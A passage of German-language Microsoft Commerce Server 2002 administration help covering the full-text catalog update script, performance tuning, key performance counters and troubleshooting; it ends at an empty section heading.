Das Skript Updatefulltextcatalog.vbs befindet sich im Ordner \Programme\Microsoft Commerce Server 2002\Support.

Das Skript wird mit folgenden Parametern ausgeführt:

  • Die Verbindungszeichenfolge verweist auf die Katalogdatenbank.
  • -U, um Volltextkataloge zu aktualisieren
  • -I, um einen Registrierungsschlüssel einzurichten, mit dem Fehler vermieden werden können, die aufgrund von ignorierten Wörtern in Wortgruppen der Freitextsuche entstehen. SQL Server gibt standardmäßig die Fehlermeldung "A clause of the query contained only ignored words" zurück.

Wenn Sie die Parameter –U und –I nicht setzen, werden durch das Skript die Volltextkataloge aktualisiert und der Registrierungsschlüssel eingesetzt.

Starten Sie nach der Ausführung des Skripts Updatefulltextcatalog.vbs den Microsoft Search-Dienst neu.


Durchführen einer Volltextsuche in Katalogen

Bei Installationen mit vielen Katalogen kann das Erstellen eines Volltextkatalogs bis zu 10 Minuten dauern.

Angenommen, Sie verfügen über viele (z. B. 10.000) Kataloge, und jeder Katalog enthält mindestens 12 volltextindizierte Spalten mit über 1.250 Produkten (Zeilen).

Commerce Server fügt dann alle Tabellen einem Volltextkatalog hinzu (ein vorhandener oder ein neuer Volltextkatalog), fügt die 12 als Volltext durchsuchbaren Eigenschaften hinzu und startet anschließend die Volltextindizierung.


Verwalten der Leistung

Die Leistungsverwaltung Ihrer Commerce Server 2002-Site besteht weitestgehend aus dem Erkennen und Beheben von Engpässen. Ein Engpass entsteht durch eine Hardware- bzw. Softwarekomponente, die an der obersten Kapazitätsgrenze arbeitet. Wenn sich die Auslastung der obersten Kapazitätsgrenze nähert, führt der Engpass zu einer Beeinträchtigung des Arbeitsflusses im System. Mithilfe von Leistungstools können Sie feststellen, welche Hardware- oder Softwarekomponente den Engpass verursacht hat. Dann können Sie die betreffende Hardwarekomponente verbessern, eine Änderung der Konfiguration vornehmen oder die Software optimieren, um die Gesamtleistung zu steigern.

Bei der Leistung handelt es sich lediglich um einen möglichen Faktor, der bei der Optimierung der Commerce Server-Site von Bedeutung sein kann. Weitere wichtige Faktoren sind die problemlose Entwicklung und Wartung, die Produkteinführungszeit, die Verfügbarkeit wichtiger Programmierungstools sowie firmeninternes Fachpersonal für die Siteentwicklung. Bei der Leistungsoptimierung kann jeder der genannten Faktoren eine Rolle spielen.

Der Webentwicklung liegt immer ein Geschäftsfall zu Grunde, aufgrund dessen bestimmte Prioritäten gesetzt werden müssen. So können beispielsweise in Abhängigkeit von den Projektzielen eine bestimmte Programmiersprache oder spezielle Datenzugriffstechnologie erforderlich sein. Derartige Entscheidungen wirken sich immer bis zu einem gewissen Grad auf die Leistung aus. Die Festlegung des für Ihre Website erforderlichen Leistungsgrades ist von entscheidender Bedeutung, wobei die Siteentwicklung und -verwaltung dann auf das Erreichen dieses Leistungsgrades ausgerichtet ist.

Websites werden oftmals auf mehreren physischen Ebenen ausgeführt, wobei jede Ebene über eigene Hardware, Systemsoftware und Anwendungssoftware verfügt. Daraus können sich vielfältige Probleme in Bezug auf die Leistung von Webanwendungen ergeben, nämlich Probleme mit Hardwarekomponenten (Webservern, Datenbankservern, Netzwerk), mit Systemsoftware (Betriebssystemen, Netzwerksoftware, Systemdiensten), Browsern, logischen Datenbanken, physischen Datenbanken, Datenzugriff usw.

Anhand der folgenden Fragen können Sie Ihre Ziele für die Leistungsoptimierung festlegen:

  • Genügt die Leistung der Site den aktuellen und zukünftigen Zielen?
  • Ist davon auszugehen, dass die aktuelle Konfiguration zu einem Engpass führen wird?
  • Für wie viele Benutzer ist die Site ausgelegt?

Nur bei regelmäßiger Überwachung der Leistung können Sie sichergehen, dass die Site die formulierten Leistungsziele erfüllt. Darüber hinaus kann jede Leistungsminderung, die aus einer Änderung resultiert, bei einer regelmäßigen Leistungsüberwachung frühzeitig erkannt werden. Sie können zur Erfassung von Leistungsdaten vorhandene Systemprogramme verwenden, den Site-Monitor Berichte über seine eigene Leistung erstellen lassen oder spezielle Clientanwendungen zur Steuerung des Systems erstellen.

Wenn Sie die Leistung optimieren möchten, müssen Sie zunächst ermitteln, ob die Systemleistung Ihren Zielen genügt. Genügt die Leistung Ihren Zielen nicht, identifizieren Sie den Engpass, und beheben Sie diesen. Anschließend wiederholen Sie diesen Vorgang, bis das Leistungsziel erreicht ist. Sie können die Leistung stetig weiter erhöhen, wenn die Siteleistung jedoch die Vorgaben erfüllt, ist eine zusätzliche Optimierung grundsätzlich nicht wirtschaftlich.

Dieser Abschnitt beinhaltet folgende Themen:

  • Leistungsspezifische Begriffe
  • Erkennen von Leistungsengpässen
  • Optimieren der Hardware
  • Optimieren der Software
  • Überwachen und Verwalten von Protokollen
  • Wichtige Leistungsindikatoren
  • Überwachen von Leistungsindikatoren

Siehe auch

Überwachen von Commerce Server-Sites


Leistungsspezifische Begriffe

Die folgende Tabelle enthält Definitionen zu leistungsspezifischen Begriffen, die in der Commerce Server-Hilfe erwähnt werden.

Begriff | Definition
ASP (Active Server Pages) | Seiten mit Informationen, die vom Webserver auf den Browser des Clients übertragen werden. ASPs sind die Bausteine für Benutzervorgänge und die primäre Maßeinheit für die Webserverleistung (ASP-Anforderungen/s).
Kontextänderungen | Geschwindigkeit, mit der zwischen zwei Threads (entweder innerhalb eines Prozesses oder prozessübergreifend) umgeschaltet wird.
CPU-Kosten | CPU-Ressourcen, die zum Ausführen eines einzelnen Einkäufervorgangs erforderlich sind.
DC | Domänencontroller
DTC | Microsoft Distributed Transaction Coordinator. Ein Transaktionsmanagementprogramm, mit dem Clientanwendungen in einer Transaktion verschiedene Datenquellen berücksichtigen können. MS DTC koordiniert die Ausführung von Commits für verteilte Transaktionen auf allen in der Transaktion aufgelisteten Servern.
Häufigkeit | Anzahl der Vorgänge, die von einem einzelnen Einkäufer pro Sekunde ausgeführt werden.
MSCS (Microsoft Cluster Service) | Der Microsoft Clusterdienst kombiniert zwei Server für die Bereitstellung einer höheren Dienstverfügbarkeit.
MTBF (Mean Time Between Failure) | Durchschnittliche Zeit zwischen Ausfällen.
NIC (Network Interface Card) | Netzwerkkarte.
NLB (Network Load Balancing) | Der Netzwerklastenausgleich ist ein Feature von Microsoft Windows 2000 Advanced Server zur Erhöhung der Verfügbarkeit und Skalierbarkeit.
OLAP (Online Analytical Processing) | Analytische Onlineverarbeitung.
Optimale Leistung | Die höchste gemessene Leistung eines bestimmten Einkäufervorgangs bei den niedrigsten gemessenen CPU-Kosten. Die CPU-Kosten steigen überdurchschnittlich, wenn der Kontextänderungswert 15.000/s übersteigt. Folglich wird eine optimale Leistung kurz vor Erreichen dieses Schwellenwerts gemessen.
P3EM (Pentium III equivalent MHz) | Maßeinheit für die Prozessorleistung. 800 P3EM werden von einem Pentium III-Prozessor mit 800 MHz bereitgestellt. Ein Computer mit zwei Pentium III-Prozessoren mit jeweils 800 MHz liefert maximal 1600 P3EM.
P3MC (Pentium III Million Clock Cycles) | Die Anzahl der Taktzyklen, die ein Pentium III-Chip bei der Verarbeitung eines Vorgangs verwendet. Wenn ein PIII-Server mit 800 MHz beispielsweise 1 Anforderung pro Sekunde bei 10 Prozent CPU-Auslastung ausführt, sind für die Anforderung 80 Millionen Pentium III-Taktzyklen erforderlich. Wenn ein umfangreicher Vorgang 10 Sekunden derselben CPU bei 99 Prozent Auslastung beansprucht, sind für den gesamten Vorgang 0,99 x 10 x 800 Millionen Pentium III-Taktzyklen erforderlich.
RAID | Redundant Array of Inexpensive Disks.
SAN | Storage Area Network ist eine Hardwarelösung für eine verbesserte Art der Datenspeicherung.
SPOF (Single Point of Failure) | Einzelpunkt-Versagen.
Benutzer | Ein Anwender, der über einen Webbrowser mit einer Commerce Server-Site verbunden ist.
Benutzervorgang | Vorgang, der von einem Benutzer beim Besuch einer Site ausgeführt wird, z. B. Suchen nach Produkten, Hinzufügen eines Produkts zum Warenkorb oder Einkaufen eines Produkts.
Benutzerprofil | Von Fachleuten für Kapazitätsplanung erstellte Beschreibung des Benutzerverhaltens, auf deren Grundlage die Benutzerkapazität des Systems geplant wird. Das Benutzerprofil beruht auf einer Reihe von Benutzervorgängen, die innerhalb einer bestimmten Zeit in festgelegten Bereichen ausgeführt werden.
TCA (Transaction Cost Analysis) | Transaktionskostenanalyse. Ein Verfahren zur Berechnung der Kapazität einer Internetsite.
Betriebszeit | In Prozent angegebener Zeitraum, in dem die Website auf Endbenutzeranforderungen reagiert.


Erkennen von Leistungsengpässen

Die beste Möglichkeit, Leistungsengpässe in einer installierten Systemlösung zu erkennen, besteht in der gezielten Überwachung der Leistungsindikatoren sowie in umfangreichen Kenntnissen über die Architektur und Konfiguration des Systems.

Vermeiden von unnötigem ASP-Code

Auf der Webebene können Sie durch eine Verringerung des ASP-Codeumfangs in der Site den Durchsatz erhöhen und die Seitenwartezeit verkürzen. Die Leistungsfähigkeit einer Site kann durch umfangreiche Include-Dateien erheblich beeinträchtigt werden.

Hinweise zur IIS-Leistungsoptimierung finden Sie in dem Dokument "The Art and Science of Web Server Tuning with Internet Information Services 5.0" (englisches Thema), das unter folgender Adresse verfügbar ist:

www.microsoft.com/TechNet/prodtechnol/iis/maintain/optimize/iis5tune.asp

Caching für Webserverkomponenten

Der nächste Schritt auf dem Weg zur Durchsatzsteigerung ist die gezielte Ausnutzung der Cache-Funktion im Anwendungsserver. Commerce Server 2000 verfügt über ein Cache-Objekt, das auf dem Front-End-Webserver ausgeführt wird. Die Seiten zum Durchsuchen des Katalogs und die Endproduktseiten nutzen in großem Umfang die Vorteile des neuen LRUCache-Objekts (Least Recently Used Cache). Dieses Objekt speichert das tatsächliche HTML-Fragment im Cache, nachdem es den Return-Datensatz vom Back-End-Datenbankserver analysiert hat. Nachfolgende Anforderungen von Benutzern, die sich auf denselben Inhalt beziehen, werden vom lokalen Speicher des Front-End-Webservers mithilfe des LRUCache übernommen.

Dies bewirkt eine erhebliche Reduzierung der CPU-Gesamtkosten, da der SQL-Server nicht mehr aufgerufen werden muss und die LRUCache-Abfrage weniger ressourcenintensiv ist als das Verpacken, Senden und Empfangen von Datenbankanforderungen. Da die Abfrage den lokalen Computer nicht verlässt, ist der Netzwerkverkehr geringer, und die E/A-Gesamtkosten werden reduziert. Weitere Informationen über die Leistungsmerkmale dieses neuen Objekts finden Sie im Whitepaper Microsoft Commerce Server 2000 Online Marketing Components, Pipeline, and Core Objects Transaction Cost Analysis (nur auf Englisch verfügbar).

ISA-Server-Caching

Microsoft Internet Security und Acceleration Server 2000 (ISA Server) Enterprise Edition verfügt über eine Reihe von Caching-Dienstoptionen für abgehenden und ankommenden Datenverkehr. Für ein hochleistungsfähiges Caching können in ISA Server Enterprise Edition spezielle ISA-Arrays implementiert werden. Es wird empfohlen, zum Zwischenspeichern von statischen Inhalten (z. B. Grafiken und statischen nicht personalisierten Daten) die ISA-Server zu verwenden, um so die Auslastung auf den Front-Tier-Webservern zu reduzieren.

Weitere Informationen über das ISA-Caching finden Sie in dem Whitepaper ISA Caching (englisches Thema), das unter folgender Adresse zur Verfügung steht: www.microsoft.com/isaserver/techinfo/planning/cachingwp.asp


Optimieren der Hardware

Beim Durchführen von Leistungsanalysen spielt die Auswahl der richtigen Hardware für die Web- und SQL-Server eine überaus wichtige Rolle. Ein Ergebnis dieser Arbeit sollen Empfehlungen für andere Benutzer bezüglich geeigneter Hardware sein.

Webserver

Die Webserver wurden mit mehr RAM-Speicher ausgestattet als erforderlich, um alle anfallenden Aufgaben ausführen zu können. Es wurde das maximale Workingset für den Server zu Spitzenbelastungszeiten gemessen und auf dieser Grundlage ermittelt, um welchen Wert der physische RAM im Server verringert werden kann.

Das Datenträgersubsystem des Front-End-Webservers wird als schreibgeschütztes Gerät zum Speichern der Bootpartition und des Siteinhalts verwendet. Für die Auslagerungsdatei ist zwar ein Gerät mit Lese-/Schreibzugriff erforderlich, aber bei ausreichendem physischen Systemspeicher sind die Auswirkungen dieser Speichervorgänge äußerst gering. Der Webserver verwendet das Datenträgersubsystem zum Schreiben von Ereignis- und Webprotokollen. Diese Aktivität wird vom Betriebssystem optimal gesteuert und erfordert in den seltensten Fällen mehr als eine Spindel.

Das Netzwerksystem auf dem Webserver muss aus mindestens einer 100BaseT-Karte bestehen. Für eine bessere Sicherheit, Verwaltbarkeit und Verfügbarkeit sollte der Server über zwei oder sogar drei Netzwerkkarten verfügen. Der Netzwerkdurchsatz der Webserver war nicht einmal ausreichend hoch, um eine 100-Mbit/s-Karte auszulasten.

Schließlich sollten beim CPU-Subsystem für den Server die besten Komponenten verwendet werden, die zurzeit erhältlich sind. Dieses spezielle Hardwaresubsystem wird noch für einige Zeit der Hauptengpass auf diesem Server bleiben. Das liegt in erster Linie am dynamischen und sehr verarbeitungsintensiven Wesen der ASP-Webseiten. Diese Herangehensweise ist auch angesichts unseres aktuellen Lizenzschemas (eine Lizenz pro Prozessor) sinnvoll.

SQL Server

Die wichtigste Optimierungsfunktion auf den SQL-Servern ist normalerweise das Einrichten des physischen Datenträgersubsystems. Um eine optimale Leistung zu erzielen, sollten die Datenbanken von den Transaktionsprotokollen auf den verschiedenen physischen Laufwerken getrennt werden. Alle Datenbanken, Transaktionsprotokolle und TempDB-Datenbanken müssen so eingerichtet werden, dass das einzelne Datenträgersubsystem nicht zu einem Engpass wird. In unserem Testszenario war das physische Datenträgersubsystem zwar kein Problem, aber in einer tatsächlichen Site müssen die Datenträgerkosten sorgfältig mit den Transaktionen abgestimmt werden, um steigende Datenträgeranforderungen im Voraus einplanen zu können.

Da SQL Server die Vorteile eines großen physischen Speichers zu nutzen versteht, muss der verfügbare RAM gegen das Workingset der Datenbank abgewogen werden. Während eines Laufzeittests sind Netzwerkverkehr (E/A), Belastung und die Art der Belastung des SQL-Servers direkt von der Anzahl der Front-End-Server abhängig, die auf die SQL-Datenbank zugreifen. Bei unserem Test wurde der SQL-Server so eingerichtet, dass er nicht den Engpass bildete. Commerce Server 2000 wurde in Hinblick auf horizontale Skalierbarkeit und Partitionierung der Back-End-Datenbanksysteme optimiert. Die Datenbanken für Marketing, Benutzerprofilverwaltung, Katalog, Data Warehouse, Transaktionen und Verwaltung können in verschiedene physische SQL-Serverdatenbanken aufgeteilt werden. Dadurch kann das bereitgestellte System einfach auf jeweils unterschiedliche Server oder Cluster für jede Datenbank verteilt werden. Einzelheiten zu dieser Vorgehensweise werden hier nicht weiter ausgeführt.


Optimieren der Software

Im Rahmen dieser Analyse ist es empfehlenswert, die Optimierung des Front-End-Webservers auf ein Minimum zu begrenzen. Im Internetdienst-Manager können Sie den Regler für die Leistung auf das Maximum einstellen. Alle anderen Einstellungen können belassen werden. Wenn Sie während des Tests oder in einer aktiven Website Parameter ändern müssen, ändern Sie immer nur einen Parameter und vergleichen Sie dann die neuen Ergebnisse genau mit den vorhergehenden.

Hinweis

  • Unvorsichtige Änderungen an verschiedenen Parametern können Schwierigkeiten bei der Verwaltung und Handhabung der Site hervorrufen.

Bei den SQL Server-Servern können alle Standardwerte belassen werden.

Verändern Sie zur Optimierung der Installation die Einstellungen für den LRUCache so, dass das Verhältnis Cachezugriffe / (Cashzugriffe + Cashfehlzugriffe) mindestens 90 % beträgt. Die Cachegröße kann bei der globalen Initialisierung des Caches geändert werden. Der Cache für Benutzerprofile kann auf ähnliche Weise optimiert werden.


Überwachen und Verwalten von Protokollen

Mit der regelmäßigen Überwachung der Systemprotokolle können Sie schwer wiegenden Fehlern vorbeugen, und Sie sind auf einen unerwarteten Anstieg der Serveraktivität vorbereitet.

  • Die Ereignisanzeige sollte mindestens zweimal täglich Nachrichten oder Warnungen senden, die Sie über die Ereignisaktivität benachrichtigen sowie die zuständigen Stellen über eventuelle Unregelmäßigkeiten informieren.
  • Analysieren Sie mindestens einmal pro Woche die Protokolle der Webserver im Hinblick auf Änderungen der Benutzerzugriffstrends. Stellen Sie sicher, dass der in der Website anfallende Datenverkehr innerhalb der Systembeschränkungen liegt. Es kann auch sinnvoll sein, die Webseiten oder das Produktangebot auf Grundlage der Trendanalyse neu zu konfigurieren.
  • Erstellen Sie in regelmäßigen Abständen Sicherungskopien der Datenbankprotokolle, und schneiden Sie die Protokolle regelmäßig ab. Bevor Sie Datenbankprotokolle löschen, sollten Sie sie auf ein externes Speichermedium kopieren, beispielsweise auf ein Bandlaufwerk.
  • Ziehen Sie einen externen Analyseagenten, wie z. B. Keynote Systems, hinzu, um die Seitenwartezeit Ihrer Site von zahlreichen Remotestandorten aus zu überwachen.

Siehe auch

Überwachen von Commerce Server-Sites


Wichtige Leistungsindikatoren

Im Rahmen der vorliegende Analyse werden die folgenden wichtigen Leistungsindikatoren untersucht.

Prozessor -> Prozessorzeit (%)

Während der Kapazitätsprüfung sollte der Prozessor unterhalb eines Grenzwerts gehalten werden, der entweder dem Zielwert der Überwachungstools entspricht oder durch die Mitarbeiter des Data Centers festgelegt wird. Für unsere Prüfzwecke wurde der Grenzwert auf 85 Prozent festgelegt.

Speicher -> Seiten/s

Misst die tatsächlichen Speicheranforderungen, die an die Festplatte gestellt werden. Eine hohe Rate kann darauf hinweisen, dass zu wenige Speicherressourcen verfügbar sind oder der installierte Speicher nicht ausreicht.

Speicher -> Verfügbare MB

Wenn der verfügbare Arbeitsspeicher nicht ausreicht, beginnt das System damit, Dateien auszulagern. Der absolute Mindestwert für den verfügbaren Speicher liegt bei 4 MB. Es empfiehlt sich aber, durch einen höheren Wert für Spitzenbelastungszeiten auf dem Server etwas mehr Freiraum zu schaffen.

Active Server Pages -> Ausführungszeit der Anforderung

Misst die Zeit, die für die Verarbeitung des tatsächlichen Skripts benötigt wird. Wenn dieser Indikator überdurchschnittlich hoch ist bzw. mehr als eine Sekunde anzeigt, arbeitet das System jenseits seiner Kapazitätsgrenzen. Die Seiten der Lösungssite sind für eine Ausführungszeit von deutlich unter einer Sekunde konzipiert.

Active Server Pages -> Wartezeit der Anforderung

Misst die Zeit, die eine neue Anforderung bis zum Beginn ihrer Verarbeitung warten muss.

Active Server Pages -> Anforderungen/s

Der tatsächliche Durchsatz der dynamischen Seiten.

Webdienst -> Get-Anforderungen/s

Stellt die Summe der dynamischen und statischen Seiten dar. Dies ist ein wichtiger Indikator für den Durchsatz.

Netzwerkschnittstelle-> Gesamtanzahl Bytes/s (pro Karte)

Stellt die Summe des Netzwerkdurchsatzes für die Karte dar. Dies ist der wichtigste Indikator für den Netzwerkdurchsatz.

Physischer Datenträger-> Zeit (%) Physischer Datenträger-> Lesevorgänge/s Physischer Datenträger-> Schreibvorgänge/s

Drei Indikatoren zum Verfolgen der Aktivitäten im Datenträgersubsystem. Das Datenträgersubsystem kann sehr schnell zur Ursache von Engpässen in einem System werden. Am Front-End-Webserver sollte die Datenträgerauslastung sehr gering sein, weil die Inhalte und Bilder für eine Seite in den Cache passen müssen. Die primäre Datenträgeraktivität bezieht sich auf die Protokolldatei, die jetzt optimal auf die Leistungsfähigkeit unter Windows 2000 abgestimmt ist.

Allerdings nimmt der SQL-Server das physische Datenträgersubsystem in beträchtlichem Umfang in Anspruch. Das Planen und Kalibrieren ist ein wichtiger Faktor für ein schnelles DBMS.

System -> Kontextänderungen/s

Gibt an, wie oft das System zwischen einzelnen Threads wechselt. Wenn dieser Wert über 5000 pro Prozessor ansteigt, wurde sehr wahrscheinlich die SMP-Skalierbarkeit (symmetrische Multiprozessorverarbeitung) des Servers und/oder der Anwendung falsch eingestellt. Die Komponenten von Windows 2000 und Commerce Server 2002 sind hinsichtlich der Skalierbarkeit gut abgestimmt.

SQL Server:Datenbanken ->Transaktionen/Sekunde

Wichtiger Indikator für die Aktivität auf dem Back-End-SQL-Server.

NTLM-Authentifizierungen/s

Die tatsächliche Häufigkeit, mit der die Authentifizierungsprüfung ausgeführt wird.

CS2002: Marketing und Katalog -> LRUCache: Cachegröße

In Byte angegebene Größe aller im System kombinierten Caches. Zur Optimierung der Cachezugriffsrate muss dieser Wert in der Datei Global.asa erhöht werden.

CS2002: Marketing und Katalog -> LRUCache: Leerungen/s

Der LRUCache (Least Recently Used Cache) leert Elemente aus dem Cache, wenn dieser programmseitig angefordert wird oder wenn die Anzahl von Elementen für den Cache den in der Datei Global.asa festgelegten Höchstwert um 10 Prozent übersteigt.

CS2002: Marketing und Katalog -> LRUCache: Zugriffe/s

Die Anzahl der erfolgreichen Anforderungen pro Sekunde, die aus dem LRUCache im Speicher abgearbeitet werden.

CS2002: Marketing und Katalog -> LRUCache: Fehler/s

Die Anzahl der nicht erfolgreichen Anforderungen pro Sekunde, die aus dem LRUCache im Speicher abgearbeitet werden. Dieser Indikator kann auch als die Geschwindigkeit betrachtet werden, mit der neue Elemente dem Cache hinzugefügt werden.


Überwachen von Leistungsindikatoren

Mithilfe von Leistungsindikatoren können Sie bestimmte Aspekte der Arbeit überwachen, die auf dem System ausgeführt wird. Im Systemmonitor werden die Indikatoren nach Objekttyp gruppiert. Für Commerce Server-Prozesse, den Arbeitsspeicher, den Cache, die Festplatte und andere Objekttypen, die statistische Informationen erzeugen, ist eine eigene Gruppe von Indikatoren vorhanden. Weitere Informationen zu Commerce Server-Leistungsindikatoren und deren Verwendung finden Sie unter Überwachen von Commerce Server-Sites. Weitere Informationen zum Systemmonitor finden Sie in der Hilfe zu Windows 2000 Server.

Siehe auch

Überwachen von Commerce Server-Sites

Hardwareleistungsindikatoren

Commerce Server-Leistungsindikatoren


Problembehandlung in Bezug auf die Leistung

In diesem Hilfethema werden Methoden zur Problembehandlung bei Commerce Server und zur Verbesserung der Systemleistung beschrieben.

Dieser Abschnitt beinhaltet folgende Themen:

  • Beenden nicht erforderlicher Anwendungen
  • Überwachen von Produktionsservern
  • Verwenden von konsistenten Serverkonfigurationen
  • Testtipps
  • Suchen spezifischer Leistungsprobleme
  • Verwenden des Arbeitsspeichers
  • Überwachen der wichtigsten Leistungsindikatoren
  • Deaktivieren der Profilerstellung für anonyme Benutzer
  • Ändern der Einstellungen auf der IIS-Registerkarte "Leistung"


Beenden nicht erforderlicher Anwendungen

Installieren Sie nur Anwendungen, die für die Ausführung der primären Funktionen des Servers erforderlich sind. Auch wenn eine Anwendung nur vorübergehend installiert und anschließend wieder deinstalliert wird, kann dies zu Problemen führen, wenn sich auf dem Server eine inkompatible DLL (Dynamic Link Library) befindet. Es empfiehlt sich daher, sämtliche nicht benötigte Anwendungen zu beenden.


Überwachen von Produktionsservern

Zur Überwachung der Produktionsserver Ihrer Webfarm empfiehlt sich die Verwendung eines separaten Servers, der von den Laufzeitdiensten unabhängig ist. Die Überwachung der Server von einem separaten Server aus ist wichtig, weil auf diese Weise die Leistung und der Betrieb der Produktionsserver nicht durch den Überwachungsvorgang beeinträchtigt werden. Wenn Sie einen separaten Server verwenden, können Sie sich ein genaueres Bild über die tatsächliche Leistung der Produktionsserver machen.

Darüber hinaus sollte die Überwachung des Benutzerdatenverkehrs in einem separaten administrativen Netzwerk erfolgen, das unabhängig von dem Netzwerk ist, das den tatsächlichen Datenverkehr verarbeiten muss. Der Systemmonitor und andere Überwachungstools können die Daten von zahlreichen Servern in einer Gesamtansicht aggregieren. Des Weiteren wird die Datenträger-E/A auf den Web- und Datenbankservern reduziert, was für die Protokollierung dieser Informationen erforderlich ist.


Verwenden von konsistenten Serverkonfigurationen

Server, die dieselbe Funktion haben, sollten auch über dieselbe Softwarekonfiguration verfügen. So sollte beispielsweise auf sämtlichen Webservern die Softwarekonfiguration übereinstimmen. (Eine Übereinstimmung mit der Konfiguration der Datenbankserver ist jedoch nicht erforderlich.) Eine übereinstimmende Softwarekonfiguration bietet folgende Vorteile:

  • Identische und vorhersehbare Leistung; vorausgesetzt, die Hardware ist ebenfalls entsprechend gewählt.
  • Das Aktualisieren der Software gelingt problemloser.
  • Jegliche Verbesserungen, die an einem Server vorgenommen werden, wirken sich auch auf alle anderen Server aus.


Testtipps

Bevor Sie zum Zweck der Leistungssteigerung Änderungen an der Produktionssite vornehmen, sollten Sie stets in einer Testumgebung einen Praxistest mit der Produktionskonfiguration durchführen. Das Durchführen von Modultests oder Tests auf Entwicklungssystemen führt nicht zu denselben Ergebnissen wie das Testen der vollständigen Konfiguration bei normalem bzw. maximalem Datenverkehr. Nehmen Sie Änderungen an der Produktionskonfiguration nur dann vor, wenn Sie diese einem vollständigen Test unterzogen haben. Beachten Sie beim Durchführen von Tests die folgenden Grundregeln:

  • Testen Sie jede einzelne Webseite, um sicherzustellen, dass der Inhalt korrekt ist, die Links funktionieren, die gewünschten Ergebnisse zurückgegeben werden und die Leistung Ihren Erwartungen entspricht.
  • Testen Sie das System unter Bedingungen des Datenverkehrs zu Spitzenzeiten, um sicherzustellen, dass es den maximalen Datenverkehr, der im System anfällt, bewältigen kann. Nehmen Sie dazu Tools wie Microsoft Web Application Stress (WAS) und den Systemmonitor zur Hilfe.
  • Überprüfen Sie die Antwortzeit, indem Sie die komplexesten Webseiten bei normalem Datenverkehr aufrufen und gleichzeitig von einem Remotestandort aus mit unterschiedlichen Verbindungsgeschwindigkeiten auf die Website zugreifen.


Suchen spezifischer Leistungsprobleme

Systemdurchsatzprobleme treten in der Regel dann auf, wenn der Bedarf an Ressourcen das Angebot übersteigt. Um Leistungsproblemen auf den Grund zu gehen, ermitteln Sie zunächst, wie Benutzer, Commerce Server 2002 und das Betriebssystem mit den einzelnen Ressourcen interagieren.

Erstellen Sie zu diesem Zweck zunächst in der Planungsphase der Websitearchitektur detaillierte Erfolgskriterien für gleichzeitige Benutzer. Ermitteln Sie anhand von Erfahrungen oder aus einer Benutzeranalyse gewonnenen Erkenntnissen ein Verwendungsprofil für einen typischen Benutzerbesuch. Das Verwendungsprofil muss Informationen zur Downloadgröße, zum Durchsatz und zur Sollwartezeit für die einzelnen Seiten enthalten.

Siteentwickler sollten die erstellten ASP-Seiten mithilfe eines Tools zur Belastungssimulation, wie beispielsweise Microsoft Web Application Stress (WAS), testen und die Ergebnisse mit den Zielvorgaben vergleichen. Wenn diese Seiten den Zielvorgaben für die Einzelserverkonfiguration entsprechen, sollten Sie einen Meilenstein für das Testen verteilter Server planen, der der Data Center-Konfiguration näher kommt. Insbesondere müssen sich der Clientsimulator und Back-End-Systeme auf verschiedenen Computern befinden. Webserver und Back-End-Systeme müssen SMP-Server (symmetrische Multiprozessorverarbeitung) sein, wenn sie als solche im Data Center eingesetzt werden sollen.

Im nächsten Schritt versuchen Sie, die Wartezeit bei Seitenanforderungen zu reduzieren. Den ersten Anhaltspunkt zur Leistungssteigerung stellen Anforderungen an die SQL Server-Computer dar. Das im Lieferumfang von Microsoft SQL Server 2000 enthaltene Tool SQL Server Profiler verfügt über einen Assistenten, der Indizes für die Optimierung der Datenbank empfiehlt. Dieses Tool kann zum Testen häufiger Seitenvorgänge sehr hilfreich sein. Wenn Sie mit einem Microsoft Active Directory-Server arbeiten, kann es auch sinnvoll sein, dessen Aktivität zu überwachen. Die NTDS-Objektleistungsindikatoren auf dem Active Directory-Server helfen Ihnen, die Nutzung dieser Serverkomponente zu ermitteln.

Wenn der Datenzugriff nun für Sie verständlich ist, wenden Sie sich der Seitenlogik zu. Es gibt eine Reihe von Tipps für die Optimierung, die sich speziell auf die ASP-Programmierung (Active Server Pages) beziehen. Wenn die beschriebenen Schritte ordnungsgemäß befolgt werden, kann auf jeder ASP-Seite eine bedeutende Steigerung des Durchsatzes erzielt werden.

Wenn die Seitenwartezeit aufgrund zu vieler Zugriffsversuche zu lang ist, können Sie das LRUCache-Objekt in Commerce Server verwenden. Mithilfe dieses Objekts können zeitaufwändige Datenaufrufe reduziert werden, indem das dargestellte HTML-Fragment beibehalten wird und so die Abfrage auf dem Back-End-Server eliminiert werden kann.

Bei kleinen Leistungs- und Durchsatzproblemen schließlich können Sie es mit einer Optimierung der Registrierungseinstellung von Internetinformationsdienste (IIS) 5.0 und Microsoft Windows 2000 versuchen. Beachten Sie dabei aber, dass Sie mit diesen Änderungen nicht dieselbe Leistungssteigerung erzielen wie mit dem Ändern des Algorithmus bzw. der Zugriffsmethoden im Sitecode. Sie können beispielsweise die Leistung des IIS-Servers optimieren, indem Sie die Einstellungen auf der IIS-Registerkarte Leistung auf Mehr als 100.000 ändern und sicherstellen, dass ASP-Debuggen nicht aktiviert ist.

Siehe auch

Ändern der Einstellungen auf der IIS-Registerkarte "Leistung"

Commerce Server-Leistungsindikatoren


Verwenden des Arbeitsspeichers

Die Arbeitsspeicherauslastung ist im Hinblick auf die Systemleistung der wahrscheinlich maßgeblichste Faktor. Wenn der Speicherbedarf das Angebot übersteigt, verschiebt Microsoft Windows 2000 Server Code- und Datenblöcke, so genannte Seiten, aus dem RAM (Random Access Memory) auf die Festplatte, um Speicher für einen Prozess freizugeben. Diese Auslagerung ist in bestimmtem Maße akzeptabel, da sie es Windows 2000 Server ermöglicht, mehr Speicherplatz zu nutzen als tatsächlich im physischen Speicher (RAM) zu Verfügung steht. Eine konstante Auslagerung wirkt sich jedoch negativ auf die Systemleistung aus.

Wenn Sie Windows 2000 Server starten, wird automatisch eine Auslagerungsdatei (Pagefile.sys) im System erstellt. Windows 2000 Server verwendet die Auslagerungsdatei, um virtuellen Speicher zur Verfügung zu stellen. Die empfohlene Größe der Auslagerungsdatei entspricht der Größe des im System verfügbaren RAM plus 12 MB. Allerdings hängt die Größe der Datei auch vom freien Speicherplatz auf der Festplatte zum Zeitpunkt der Dateierstellung ab. Informationen zur Skalierbarkeit finden Sie im Commerce Server 2000 Resource Kit.


Überwachen der wichtigsten Leistungsindikatoren

Engpässe im System können Sie durch die Überwachung der wichtigsten Leistungsindikatoren zu den Spitzenzeiten aufdecken. Informationen zu den zu überwachenden Commerce Server-Leistungsindikatoren finden Sie unter Commerce Server-Leistungsindikatoren.


Deaktivieren der Profilerstellung für anonyme Benutzer

